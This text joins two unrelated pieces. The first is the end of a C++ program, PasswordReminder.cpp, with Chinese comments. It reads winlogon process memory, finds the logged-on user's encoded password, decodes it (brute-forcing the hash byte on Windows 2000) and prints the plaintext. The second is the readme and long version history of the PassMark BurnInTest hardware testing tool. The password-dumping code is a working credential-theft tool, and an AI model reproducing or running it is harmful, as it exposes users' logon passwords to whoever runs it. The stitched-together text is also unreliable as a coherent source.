INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Count; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT中找到用户密码 // BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在内存中搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) printf ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); // NT就是好，hash-byte直接放在编码中:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码 // BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increment = SystemInfo.dwPageSize; // Move to next memory block. i += Increment; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT中解码用户密码 // void DisplayPasswordWinNT (void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在NT中，hash-byte是包含在编码中的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K中解码用户密码 // void DisplayPasswordWin2K (void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win2K中hash-byte并不存放在编码中 // 所以在这里进行的是暴力破解 // 下面的循环中i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符，就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. // 使用i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格，0X7E是~，所有密码允许使用的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin2K // end PasswordReminder.cpp

PassMark BurnInTest V5.3 Copyright (C) 1999-2008 PassMark Software All Rights Reserved http://www.passmark.com Overview ======== Passmark's BurnInTest is a software tool that allows all the major sub-systems of a computer to be simultaneously tested for reliability and stability. Status ====== This is a shareware program. This means that you need to buy it if you would like to continue using it after the evaluation period. Installation ============ 1) Uninstall any previous version of BurnInTest 2) Double click (or Open) the downloaded ".exe" file 3) Follow the prompts UnInstallation ============== Use the Windows control panel, Add / Remove Programs Requirements ============ - Operating System: Windows 2000, XP, 2003 server, Vista (*) - RAM: 32 Meg - Disk space: 6 Meg of free hard disk space (plus an additional 10Meg to run the Disk test) - DirectX 9.0c or above software for 3D graphics and video tests (plus working DirectX drivers for your video card) - SSE compatible CPU for SSE tests - A printer to run the printer test, set-up as the default printer in Windows. - A CD ROM + 1 Music CD or Data CD to run the CD test. - A CD-RW to run the CD burn test. - A network connection and the TCP/IP networking software installed for the Network Tests Pro version only: - A serial port loop back plug for the serial port test. - A parallel port loop back plug for the parallel port test. - A USB port loop back plug for the USB port test. - A USB 2.0 port loop back plug for the USB 2.0 port test. - PassMark ModemTest V1.3 1010 (or higher) for Plugin Modem testing. - PassMark KeyboardTest V2.2 1011 (or higher) for Plugin Keyboard testing. - PassMark Firewire Plugin V1.0 1000 (or higher) and a 揔anguru FireFlash?drive for Plugin Firewire testing. (*) Windows 2000 does not support the CD-RW burn test. The advanced RAM test is only available under Windows 2000 and Windows XP professional (the other RAM tests are supported under the other OS's). Users must have administrator privileges. Windows 98 and Windows ME ========================= Windows 98 and ME are not supported in BurnInTest version 5.3 and above. Use a version of BurnInTest prior to 5.2 for compatibility with W98 and ME. Windows 95 and Windows NT ========================= Windows 95 and NT are not supported in BurnInTest version 4.0 and above. Use a version of BurnInTest prior to 3.1 for compatibility with W95 and NT. Version History =============== Here is a summary of all changes that have been made in each version of BurnInTest. Release 5.3 build 1035 revision 4 WIN32 release 10 November 2008 - Lenovo China specific build. Lenovo system detection changes. Release 5.3 build 1035 revision 3 WIN32 release 7 November 2008 - Lenovo China specific build. Lenovo system detection changes. Release 5.3 build 1035 revision 2 WIN32 release 6 November 2008 - Lenovo China specific build. Lenovo logo and Lenovo system detection changes. Release 5.3 build 1035 WIN32 release 5 November 2008 - Lenovo China specific build. Changes include: Lenovo logo added, Lenovo system support only, 32-bit BurnInTest restricted to 32-bit Windows and BurnInTest run as administrator. Release 5.3 build 1034 WIN32 release 3 October 2008 - Correction to setting the CD burn test drive in preferences. - Changed the mechanism to check for the required DirectX Direct3D as the previous method did not work on some system (some W2003 servers). - Enhanced the mechanism to report memory hardware errors in the Memory torture test. Release 5.3 build 1033 WIN32 release 1 October 2008 - Changes to correct a BurnInTest crash problem on some systems. When the disk and standard RAM tests are run for many hours, BurnInTest may have disappeared with no error message. Release 5.3 build 1030 WIN32 release 25 September 2008 - Changes to investigate a BurnInTest crash problem on XP SP3. Release 5.3 build 1028 WIN32 release 11 September 2008 - Two 2D Video memory test crash bug workarounds implemented. Crashes in (i) DirectX DirectShow and (ii) ATI atiumdag.dll library. - A hang on startup has been corrected. A 2 minute timeout has been added to the collection of system information. - Video playback, Hard disk and CD/DVD test 'no operations' error reporting changed. - When BurnInTest crashes, it will not generate a "minidump" file. Minidumps will need to be sent to Microsoft as per the normal process. However, a log entry will be added to the normal BurnInTest log. - Changes to trace logging to reduce activity when trace logging is not turned on. - Note: We have seen a report of the Video Playback failing (crash) due to a faulty video codec, ffdshow.ax. If you are using this we suggest you try a different Video file and codec. Release 5.3 build 1027 revision 0003 WIN32 release 19 August 2008 - Changed the 2D test to wait for the Video Playback test in order to allow memory allocation for the Video playback test. - Changed the Memory test to wait for the Video Playback test and 3D test to allow memory allocation for these tests. - Minor changes to the No operation error watchdog timer for the CD and Hard disk tests. - Minor correction to the Butterfly seek test. - Video playback trace logging increased. Release 5.3 build 1027 revision 0002 WIN32 release 19 August 2008 - Video playback trace logging increased. Release 5.3 build 1027 WIN32 release 31 July 2008 - Corrected a bug where BurnInTest would fail to start if Activity trace level 2 logging (debug level logging) was turned on and the Logging Summarize option was also selected. - Minor change to the serial port test where, if "Disable RTS/CTS and DSR/DTR test phase" was selected the DTR and RTS lines would be explicitly disabled to prevent any toggling of these lines. Previously these where enabled, but not explicitly toggled. Release 5.3 build 1026 WIN32 release 17 July 2008 - Updated Level 2 and Level 3 CPU cache information for newer Intel CPU's. - Updated the detection of Hyperthreading and the number of logical CPUs for a new Intel CPU. Release 5.3 build 1025 WIN32 release 11 July 2008 - Corrected a Disk test bug where on rare occasions a verification error is incorrectly displayed. This is during the random seeking phase of the "Random data with random seeking" test mode and only occurs with some specific test settings. Release 5.3 build 1024 WIN32 release 10 July 2008 - Workaround for the rare crash bug in Vista in atklumdisp.dll at address 0x730676ae. - Added trace debug information for BurnInTest startup and the 3D test. Release 5.3 build 1022 WIN32 release 12 June 2008 - Corrected a bug where the 2D video memory test in BurnInTest v5.3.1020 and v5.3.1021 would report a "Not enough video memory available for test" error if the test was run a couple of times (without closing BurnInTest). Release 5.3 build 1021 WIN32 release 5 June 2008 - 32-bit BurnInTest PRO 5.3.1020 would not start on Windows 2000. This has been corrected. Release 5.3 build 1020 WIN32 release 29 May 2008 - BurnInTest could have crashed on accessing bad video memory hardware in the 2D test. This problem is now just reported as an error (and BurnInTest) continues. - When BurnInTest crashes, it should now generate a "minidump" file to help debug which system component caused the failure (32-bit Pro version only). - Other minor changes. Release 5.3 build 1019 WIN32 release 16 May 2008 - Corrected rare crash bugs in the 2D and Video tests. - Added a hot Key, F4, to set the auto run flag and run the tests (i.e. set "-r" and then run the tests). - Other minor changes. Release 5.3 build 1018 WIN32 release 16 April 2008 - Added an operation watchdog timer for all tests. In rare cases, a single test can stop in the operating system - i.e. there is a problem in the operating system/ device driver that prevents control being returned to the BurnInTest for that test. This was added for specialized serial port hardware that could lockup after several hours of testing. Release 5.3 build 1017 WIN32 release 3 April 2008 - Corrected the Advanced Network test to run on non-English Operating Systems. Release 5.3 build 1016 WIN32 release 17 March 2008 - Added additional USB 2.0 Loopback plug test initialization to ensure plugs are in a 'clean' state when starting the USB tests. This was added due to reported USB data verification errors after scripted USB testing across multiple reboots. Release 5.3 build 1015 WIN32 release 27 February 2008 - Increased error reporting detail for the standard RAM test, when the -v command line option is used. Release 5.3 build 1014 WIN32 release 30 January 2008 - Corrected a problem where the loopback sound test could run out of memory if run for several days. Release 5.3 build 1013 WIN32 release 31 December 2007 - Improved the reporting of COM port errors such that in the rare case a COM port locks up in the Operating System, the error is still reported. - Corrected a bug, where in rare cases, the result summary could be duplicated in a log file. - Updated license management, in an attempt to remove a rare crash on startup. Release 5.3 build 1012.0002 WIN32 release 31 October 2007 - New build of Rebooter (64-bit Windows correction). - Clarifications in the help file. Release 5.3 build 1012 WIN32 release 17 October 2007 - Changed the Standard Network Test, "Test all available NICs" such that the number of Network Addresses specified in Preferences->Network will be the number of NICs tested. This will error faulty NICs that are not detected by the BurnInTest auto NIC detection mechanism. - Minor change to the 2D memory test when run with the 3D test (multiple large windows) and the RAM test. Aimed at correcting sympton: Access Violation 0x00404CF9. - Corrections to the mapping of paths with ".\". Release 5.3 build 1011 rev 2 WIN32 release 17 September 2007 - Modified the Multi-Process torture test to better describe a new error message introduced in V5.3.1010. Release 5.3 build 1011 - Public release WIN32 release 11 September 2007 - Corrected a bug where "Limited Evaluation Version" could be displayed even after BUrnInTest is licensed (problem introduced in 32-bit BITPRO V5.3.1010). - Changed the Sound test to allow any of the tests (Wave, Midi or MP3) to be excluded from testing by blanking the filename. - The Command line parameter "-j" (cycle disk test patterns after each test file) could fail during the Random data test due to the mechanism used in BurnInTest. The Random data test is now excluded from the test when (and only when) the "-j" command line parameter is specified. - In rare circumstances, the 2D test number of operations could potentially overflow and become negative. This has been corrected. - In rare circumstances, BurnInTest could hang if there was a system problem in rebooting the system (ie. it failed to shutdown) using PassMark Rebooter. This has been corrected. Release 5.3 build 1010 - Public release WIN32 release 28 August 2007 WIN64 release 28 August 2007 - As BurnInTest exercises system components, it is possible for faulty hardware or device drivers to cause software exceptions. These are normally seen as Windows reporting an "Access Violation". Changes have been made to handle these errors for the memory tests (for faulty RAM) and direct device driver access (for some device driver errors), as well as overarching more generic handling of these types of errors. - Corrected a software failure bug on startup (particularly Vista) where a DirectX function was causing software failures in "dsetup.dll". - Updated the "Activity Event" generated with the periodic results summary report to be numbered (from 1 upwards) such that when "Logging->Summarize", these events are not summarized. - Corrected a bug where the HTML log name could include a duplicate of the filename prefix. - Updated to the Common Errors section of help. Release 5.3 build 1009 - Public release WIN32 release 16 August 2007 - Corrected a 'zip' version cleanup problem. Release 5.3 build 1008 - Komputer Swiat Expert magazine version WIN32 STD release 14 August 2007 Release 5.3 build 1007 - Public release WIN32 release 7 August 2007 - Corrected a disk test startup problem for some large RAID systems when SMART testing is selected. - Added additional logging for the disk test when an error occurs. - Changed the 3D test when run with the 2D EMC test to be 'behind' the EMC scrolling H's test. Allowed the test to be easily exited when running the 3D test in Fullscreen mode. - Minor corrections to the Advanced Network test. - Changed the log file reference of "Network Name" to "Computer Name". WIN64 specific: - MMX and 3DNow! are obsolete for native 64-bit applications. BurnInTest has been changed to show "NA" (Not applicable) in the test window for these tests. Release 5.3 build 1006 - Limited release WIN32 release 17 July 2007 - Standard Network Test changes: - Increased the number of destination IP addresses from 4 to 6. - Added an option (default) "Test all available NICs", which will force traffic down every system NIC with a basic algorithm of NIC1 to IP Address 1, NIC2 to IP Address 2 etc. - Advanced Network test changes: - Simplified the test. - Removed the UDP and FTP options. The Standard Network test can be used as a UDP test. - Removed the Advanced Network test specific logging, and included all relevant logging in the standard BurnInTest logging mechanism. - Replaced the complicated dynamic balancing of any system NIC to any Endpoint NIC with a simpler static allocation on test startup. - Changed the error detection mechanism to detect errors much more quickly. - Re-worked the errors reported. - Changed the CPU throttling mechanism to reduce the CPU load. - Updated endpoint.exe. - Removed checkend.exe (now obsolete). - Changed the logging rollover to work with the output of interim results (e.g. per 1 minute). Previously rollover only occurred on error events written to the log. This also corrected an issue where interim results summary logging could be written to the physical disk with some delay (based on Windows disk caching). - Corrected the "Unknown" reporting of some operating systems. - Added the skipping of the Butterfly seek disk test when run on Vista and insufficient privileges. A notification of this is logged. - Intel Quad core L2 cache size reporting has been added. - Added new SMART threshold descriptions. - Added new disk test options, accessed via command line parameters: /ka: keep disk test files in all cases (c.f. /k keep disk test files on error). /j: cycle patterns between test files. Note: Random seeking will be skipped in this case. This option has been added to allow multiple test patterns to be used across very large disks. - Added an option to make some test settings unavailable to the user. An example configuration file available on request. Release 5.3 build 1005 0001 (STD only) - Public release WIN32 release 29 June 2007 - Corrected a bug introduced in v5.3.1005.0000 STD (only) where the disk test would use up more and more system resources, thus causing test failures. Release 5.3 build 1005 rev 0003 (PRO only) - Limited public release WIN32 release 21 June 2007 - Correction to the behavior of a static RAM test pattern (rather than the default Cyclic pattern). Release 5.3 build 1005 rev 0002 (PRO only) - Limited public release WIN32 release 15 June 2007 - The "Select all CD/DVD drives" preferences option has been made user configurable, rather than using pre-defined test settings. Release 5.3 build 1005 rev 0001 (PRO only) - Limited public release WIN32 release 13 June 2007 - Bug correction for the CD auto selection feature. Release 5.3 build 1005 - Public release WIN32 release 18 May 2007 WIN64 release 18 May 2007 - In a number of cases, such as when specifying the post test application, uppercase application names were not accepted. This has been corrected. - The default font height in the 2D scrolling H's test should have been Arial 9. This has been changed. - The BurnInTest Video playback test incompatibility with Nero 6 and Nero 7 has been resolved. - The BurnInTest disk test throughput for dual core systems has been improved. Release 5.3 build 1004 rev2 - Limited release WIN32 release 8 May 2007 - Changed the Standard Network Test to better report packet error ratios. In addition, a new warning has been added to indicate that errors have been detected but not enough packets have been attempted to be sent to determine accurately whether the configured error ratio has been exceeded. - Corrected a bug where the "append to existing" logging option did not work across scripted reboots, and a new log file was created instead of appending to the existing log file. - If the 3D test was running, then BurnInTest blocked a forced close of BurnInTest, this blocking has been removed. - Changed the PASS and FAIL windows so they can now also be closed by selecting the Windows Close "X" button. Release 5.3 build 1004 - Public release WIN32 release 10 April 2007 WIN64 release 10 April 2007 - Corrected a problem introduced in BurnInTest v5.2 where BurnInTest could run out of memory (the main symptom) when tests where run for long periods (> 12hours). WIN64 specific: - Corrected a bug where the number of cores reported on a Quad core system was incorrectly reported as CPU packages. Release 5.3 build 1003 - Limited release WIN32 release 3 April 2007 - A new 2D GUI (Graphical User Interface) test has been added to the standard 2D graphics test. - Resolved an issue where BurnInTest would fail to start on Vista systems with DEP enabled for all programs. - On some systems, the Disk test could pause momentarily even when a duty cycle of 100% was specified. This pause has been removed. - When running the CD test under BartPE (Pre-install environment) 4 additional specific files are skipped as they are unavailable for testing. - Minor bug corrections. Release 5.3 build 1002 rev 0001 - Limited release WIN32 release 16 March 2007 - Changes to the new 3D test: - Added a Full screen non-windowed test for the primary monitor, where the resolution can be selected from those supported by the Graphics card. - Added the user option of changes the vertical sync in the full screen non-windowed test to be either the Maximum rate of the graphics card, or to be the rate of the monitor (this may prevent some flicker). - Added a more complex water texture using DirectX Vertex Shader 2.0 and Pixel Shader 2.0 effects (if supported by the graphics card). This applies to 3D test windows that are 800x600 or larger. - Changed some error messages from window displays (that require user intervention) to standard error reporting. Added new 3D error messages and more detail in the error reporting. - Changed the definition of an operation to be a successfully displayed frame. - Changed the definition of a cycle to be 2000 frames. - Changed 2D video memory test to wait until the 3D test starts (as per V5.2 and earlier). - A new version of rebooter has been included. - If BurnInTest is started with the -p command line parameter (to use the bit.exe directory for files such as the configuration file), then BurnInTest will start rebooter with the -p option. This can be useful when running BurnInTest and Rebooter from a USB drive. Release 5.3 build 1002 - Limited release WIN32 release 19 March 2007 - Corrected a bug introduced in V5.2 where selecting accumulated logging could lead to rebooter failing to launch. Release 5.3 build 1001 - Limited release WIN32 release 16 March 2007 - The 3D test has been improved. The 3D ball test has been replaced with a more complex 3D terrain test. This will more thoroughly exercise modern graphics cards. Further, the 3D test has been changed to support multi- monitor testing (up to 4 monitors). Accordingly, a new preferences section has been added for the 3D test. The multi-monitor test options are only available in BurnInTest Professional. Release 5.3 build 1001 - Limited release WIN32 release 16 March 2007 - The 3D test has been improved. The 3D ball test has been replaced with a more complex 3D terrain test. This will more thoroughly exercise modern graphics cards. Further, the 3D test has been changed to support multi- monitor testing (up to 4 monitors). Accordingly, a new preferences section has been added for the 3D test. The multi-monitor test options are only available in BurnInTest Professional. - BurnInTest uses DirectX 9.0c. This version of BurnInTest uses a more recent version of the Microsoft DirectX Direct3D component, October 2006. BurnInTest has been modified to detect and install this component (file) if it does not exist. - A command line parameter -X has been added to skip the DirectX version checking on BurnInTest start-up. - With the recent introduction of multi-monitor support for the Video Playback test, it is now more likely that the system will run out of memory when running multiple video tests simultaneously, particularly when more memory intensive codecs are used. A specific Insufficient resources to complete test message has been added in this case, rather than the previous more generic unrecoverable error message. The video test have been changed to attempt recovery from this and the more generic unrecoverable error, by closing the current video and opening the next. The logging detail has been increased. - Note: The BurnIntest sample video pack has been altered with the DivX Compressed Video file being removed due to the DivX codec failing with this Video file when used with multiple simultaneous Video playbacks. Access Violation: 0x69756e65. See: http://www.passmark.com/download/bit_download.htm - The video description is now collected for a larger range of Vista systems. - Windows 98 and ME are no longer supported. Please see www.passmark.com for a link to an older version of BurnInTest that will support W98/ME. Release 5.3 build 1000 rev2 - Limited release WIN32 release 9 March 2007 - A command line parameter -P has been added to allow the BurnInTest directory to be used rather than the User's personal directory. This may be useful when running BurnInTest from a USB drive for example. - When running the CD test under BartPE (Pre-install environment) 4 additional specific files are skipped as they are unavailable for testing. - A change has been made to support Hmonitor temperature monitoring on Vista. - A number of undocumented command line parameters have been documented: -B: BurnInTest will generate additional Serial port test information when activity trace level 2 logging is set. -E [data]: Specifies the test data to use in the serial port test. -M: Automatically display the Machine ID Window when BurnInTest is started. -U: Force BurnInTest to set logging on at startup. Release 5.3 build 1000 - Limited release WIN32 release 8 March 2007 - Changed the 2D and Video playback tests to support multi-monitor testing. - When running the CD test under BartPE (Pre-install environment) 4 specific files are skipped as they are unavailable for testing. Release 5.2 build 1006 - Limited release WIN32 release 1 March 2007 - Corrected a bug where BurnInTest would fail to start on certain Vista systems. - Corrected a bug where some files where the full path was not specified would be incorrectly referenced in the Program Files directory, rather than the user personal directory. Release 5.2 build 1005 - Public release WIN32 release 21 February 2007 WIN64 release 21 February 2007 - Updated the Graphics card description for Windows Vista systems. - Updated the Advanced Network test to indicate that elevated administrator privileges are required when running on Vista. - Moved files from the Program files directory for the Advanced Network Test (BurnInTest, EndPoint and CheckEnd). Specifically, the User Application directory is now used for the temporary test FTP files and the User Personal directory is now used for the log and configuration files. - Updated the cleanup process for when running the "zip" version of BurnInTest Professional from a CD or flash drive. - Updated the help link from the Windows Start, All Programs, BurnInTest menu for the browser based help. - Corrected a bug where Disk preferences displayed in the Preferences window would be incorrect when the system had no Floppy drive. - Corrected a bug where the Advanced Network test might not have been displayed until after entering the Duty Cycle selection (ie. just chaning from the standard network test to the advanced test). - Corrected a USB bug in Beta 5.2.1003 where the test would not run if there where there insufficient USB loopback plugs attached to the system. - Included a new version of PassMark Rebooter that supports Windows Vista. Release 5.2 build 1004 - Public Pre-release WIN32 release 13 February 2007 - Updated the reported Operating system for the various Vista product editions. - Disk test settings can be configured for "Automatically Select all Hard Disks", rather than using defaults. - When running the CD test under BartPE (Pre-install environment) 4 specific files are skipped as they are unavailable for testing. - Corrected a bug where temperature information could be duplicated in the HTML report. - Corrected a bug certain 'save report' warning messages could be truncated. - Help file updated. Release 5.2 build 1003 - BETA RELEASE ONLY WIN32 release 23 January 2007 - Changed the USB preferences and test to more completely check for the PassMark USB Loopback plugs and ignore any device that is not a PassMark USB Loopback plug (due to reported incorrect detection with another hardware device). - Increased Trace level debugging for Intel temperature monitoring. - Corrected a bug with the disk test introduced in 5.2.1001 Release 5.2 build 1002 - BETA RELEASE ONLY WIN32 release 22 January 2007 - Increased the number of disks that can be tested from 20 to 26. - Updated BurnInTest to reflect that Temperature monitoring with Intel Desktop utilities is supported. Intel Desktop utilities essentially is a replacement for Intel Active Monitor for newer Intel motherboards. - Increased Trace level debugging for Intel temperature monitoring. Release 5.2 build 1001 - BETA RELEASE ONLY WIN32 release 19 January 2007 - Windows Vista support. - The Block size used in the disk test is now configurable per disk. The default block size has been increased from 16KB to 32KB. - An option has been added to automatically detect all of the CD and DVD drives for the CD test (as per the disk test). This may be useful when testing across many systems with different optical drive configurations. - Increased Trace level debugging for Intel temperature monitoring. - Bugs corrected: - Disk preferences - in rare cases invalid default values could be set for a disk, an invalid value error would occur and the values would need to be manually corrected. Release 5.2 build 1000 - limited release WIN32 release 8 January 2007 - Windows Vista support. - Reduced the need for elevated administrator privileges: - Changed the location of the disk test files from the root directory of the test volume to a BurnInTest data files subdirectory (e.g from "C:\" to "C:\BurnInTest test files\") - Moved many of the files from the Program Files directory to the User directory for Windows 2000, XP and Vista. When running BurnInTest on Windows 98, ME or from a key.dat file (e.g. from a USB drive with a licensed key.dat) BurnInTest will store these files in the BurnInTest program 